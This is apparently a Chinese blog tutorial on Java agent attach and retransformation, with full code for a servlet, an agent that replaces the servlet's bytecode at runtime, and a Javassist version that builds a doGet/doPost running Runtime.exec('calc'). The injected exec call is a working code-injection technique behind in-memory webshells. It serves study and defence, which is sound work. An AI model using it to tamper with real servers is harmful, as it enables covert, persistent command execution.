搭建一个简单的Servlet项目

ServletDemo

package com.naihe;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class ServletDemo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("123");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }

}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0"
         metadata-complete="false"
>
    <!--注册Servlet-->
    <servlet>
        <servlet-name>demo</servlet-name>
        <servlet-class>com.naihe.ServletDemo</servlet-class>
    </servlet>
    <!--Servlet的请求路径-->
    <servlet-mapping>
        <servlet-name>demo</servlet-name>
        <url-pattern>/demo</url-pattern>
    </servlet-mapping>
</web-app>

agent 

package com.naihe;

import java.io.IOException;
import java.lang.instrument.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class agent {
    //java agent 入口
    public static void premain(String agentOps, Instrumentation inst) {
        System.out.println("=========premain方法执行========");
        simpleDemo(agentOps, inst);
    }
    public static void agentmain(String agentOps, Instrumentation inst) {
        System.out.println("=========agentmain方法执行========");
        simpleDemo(agentOps, inst);
        //transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了
        //必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层
        for (Class allLoadedClass : inst.getAllLoadedClasses()) {
            //这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径
            if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){
                try {
                    inst.retransformClasses(allLoadedClass);
                } catch (UnmodifiableClassException e) {
                    e.printStackTrace();
                }
            }
        }
    }
    public static void simpleDemo(String agentOps, Instrumentation inst) {
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
                //判断是指定的class
                if ("com/naihe/ServletDemo".equals(className)) {
                    try {
                        //获取更改后的类class 字节数组
                        String path="C:/Users/12107/Desktop/ServletDemo2.class";
                        classfileBuffer = Files.readAllBytes(Paths.get(path));
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
                return classfileBuffer;
            }
        },true);
    }

}

ServletDemo2为ServletDemo被恶意修改后的文件

package com.naihe;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class ServletDemo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Runtime.getRuntime().exec("calc");
        resp.getWriter().write("success");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }

}

开启tomcat

运行attch:

以上的利用都是自己写好一个恶意类编译并上传使用,下面就是利用javaassist动态生成class后加载

利用Javaassist

package com.naihe;

import javassist.*;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.*;
import java.lang.reflect.InvocationTargetException;
import java.security.ProtectionDomain;

public class agent {
    //java agent 入口
    public static void premain(String agentOps, Instrumentation inst) {
        System.out.println("=========premain方法执行========");
        simpleDemo(agentOps, inst);
    }
    public static void agentmain(String agentOps, Instrumentation inst) {
        System.out.println("=========agentmain方法执行========");
        simpleDemo(agentOps, inst);
        //transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了
        //必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层
        for (Class allLoadedClass : inst.getAllLoadedClasses()) {
            //这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径
            if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){
                try {
                    inst.retransformClasses(allLoadedClass);
                } catch (UnmodifiableClassException e) {
                    e.printStackTrace();
                }
            }
        }
    }
    public static void simpleDemo(String agentOps, Instrumentation inst) {
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
                //判断是指定的class
                if ("com/naihe/ServletDemo".equals(className)) {
                    try {
                        classfileBuffer = JavaassistDemo();
                    } catch (IOException | CannotCompileException | NotFoundException | IllegalAccessException | InstantiationException | NoSuchMethodException | InvocationTargetException e) {
                        e.printStackTrace();
                    }
                }
                return classfileBuffer;
            }
        },true);
    }

    public static byte[] JavaassistDemo() throws CannotCompileException, IOException, NotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
        ClassPool pool = ClassPool.getDefault();
        pool.importPackage("javax.servlet.http.HttpServlet");
        pool.importPackage("java.io.IOException");
        // 1. 创建一个空类
        CtClass cc = pool.makeClass("com.naihe.ServletDemo");
        // 2.添加父类
        cc.setSuperclass(pool.get("javax.servlet.http.HttpServlet"));
        // 3. 添加无参的构造函数
        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
        cons.setBody("{}");
        cc.addConstructor(cons);

        // 4.创建doGet方法
        CtMethod ctMethod = new CtMethod(CtClass.voidType, "doGet", new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);
        ctMethod.setModifiers(Modifier.PROTECTED);
        ctMethod.setBody("        try {\n" +
                "            Runtime.getRuntime().exec(\"calc\");\n" +
                "        } catch (IOException var4) {\n" +
                "            var4.printStackTrace();\n" +
                "        }");
        cc.addMethod(ctMethod);

        // 4.创建doPost方法
        CtMethod ctMethod2 = new CtMethod(CtClass.voidType, "doPost", new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);
        ctMethod2.setModifiers(Modifier.PROTECTED);
        ctMethod2.setBody("        try {\n" +
                "            Runtime.getRuntime().exec(\"calc\");\n" +
                "        } catch (IOException var4) {\n" +
                "            var4.printStackTrace();\n" +
                "        }");
        cc.addMethod(ctMethod2);
        return cc.toBytecode();
    }

}

由于利用了第三方jar包因此想要导出所有项目,不能再像前面那样只导出自己写的代码了,步骤如下

在这里我将使用javaassist的agent命名为agent2

打包好的jar就在如下位置

修改MANIFEST.MF 老样子在前面添加

访问demo

运行attach

更多推荐